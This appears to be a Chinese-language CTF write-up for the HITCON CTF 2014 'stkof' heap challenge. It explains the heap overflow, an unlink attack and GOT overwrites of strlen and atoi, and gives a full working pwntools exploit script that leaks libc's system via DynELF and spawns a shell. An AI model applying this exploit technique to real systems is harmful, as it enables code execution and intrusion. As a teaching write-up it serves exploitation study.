HITCON CTF 2014 stkof

准备工作

ida打开,有反调试,nop掉,或者将时间改成很长

安全保护措施,可以写got表

寻找漏洞,free会将判断变量置0,不存在double free

那么同样也不存在uaf漏洞

edit的时候,size没有限制,可堆溢出

这种没有输出什么的程序,代码可以写得相当潇洒

unlink

乍一看,没有输出函数啊,怎么泄露呢

后来想了想,没有输出函数,创造条件也要构造啊

可以改写strlen为puts,printf什么的

那么就可以将2的指针改了

跟着我们就可以通过操作2来覆盖1,利用1去写,再去读什么的

这里我写strlen的got表为plt_printf,这样就相当于构造了格式化字符串漏洞,不过有任意地址读写,就不用这个了,不过我看到有人用这个进行泄露的

之后通过下面的leak函数泄露即可

使用pwntools的DynELF泄露system地址

最后将atoi的got表改了

最终结果

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding: utf-8 -*-
# http://blog.csdn.net/fuchuangbob/article/details/51649353
# http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/
from pwn import *

# context.log_level = 'debug'

p = process("./a679df07a8f3a8d590febad45336d031-stkof")
elf = ELF("./a679df07a8f3a8d590febad45336d031-stkof")
# libc = ELF("libc.so.6")

# print proc.pidof(p)[0]
plt_printf = elf.plt["printf"]
got_strlen = elf.got["strlen"]
got_atoi = elf.got["atoi"]

# raw_input()

def add(size):
p.sendline("1")
p.sendline(str(size))
index = p.recvuntil("\n")
p.recvuntil("OK\n")
return index

def edit(index, content):
p.sendline("2")
p.sendline(str(index))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK\n")

def free(index):
p.sendline("3")
p.sendline(str(index))
p.recvuntil("OK\n")

def output(index):
p.sendline("4")
p.sendline(str(index))

def leak(address):
payload = "\x00"*0x10 + p64(address)
edit(2, payload)
output(1)
data = p.recvuntil("OK")
if "FAIL" in data:
data = data.replace("FAIL\n", "")
data = data.split('\x0aOK')[0]
if "..." in data:
data = data.replace("...", "")
elif "//TODO" in data:
data = data.replace("//TODO", "")
print "%#x => %s" % (address, (data or '').encode('hex'))
if data == "":
return "\x00"
else:
return data

# ---------info leak---------

print "index: " + add(0x80) # not use , not in a same memory
print "index: " + add(0x80)
print "index: " + add(0x80)
print "index: " + add(0x80)
# fd + 0x18 -> P ?
# bk + 0x10 -> P?
# FD = P->fd; \
# BK = P->bk;
# FD->bk = BK;
# BK->fd = FD;
# at last BK->fd = FD; just store->fd = store + 0x10 = store-0x8
store = 0x602140
fakechunk = p64(0) + p64(0x81) + p64(store-0x8) + p64(store) + "A" * 0x60 + p64(0x80) + p64(0x90) + "A" * 0x80
edit(2, fakechunk)

free(3)

# overwrite got_strlen with got_printf
payload = "\x00" * 0x10 + p64(got_strlen)
edit(2, payload)
edit(1, p64(plt_printf))

print "plt_printf : " + hex(plt_printf)
print "got_strlen : " + hex(got_strlen)

# leak system
d = DynELF(leak, elf=ELF("./a679df07a8f3a8d590febad45336d031-stkof"))
system_addr = int(d.lookup('system', 'libc'))
print "system_addr = " + hex(system_addr)
# raw_input()


# write
payload = "\x00" * 0x10 + p64(got_atoi)
edit(2, payload)
edit(1, p64(system_addr))

p.sendline("/bin/sh\x00")
p.recvuntil("FAIL\n")
p.interactive()

另外的overwrite目标

有人将free改成puts,printf,其实也是可以的,
最后写system的时候也可以将free改回system

http://blog.csdn.net/fuchuangbob/article/details/51649353

自愿打赏专区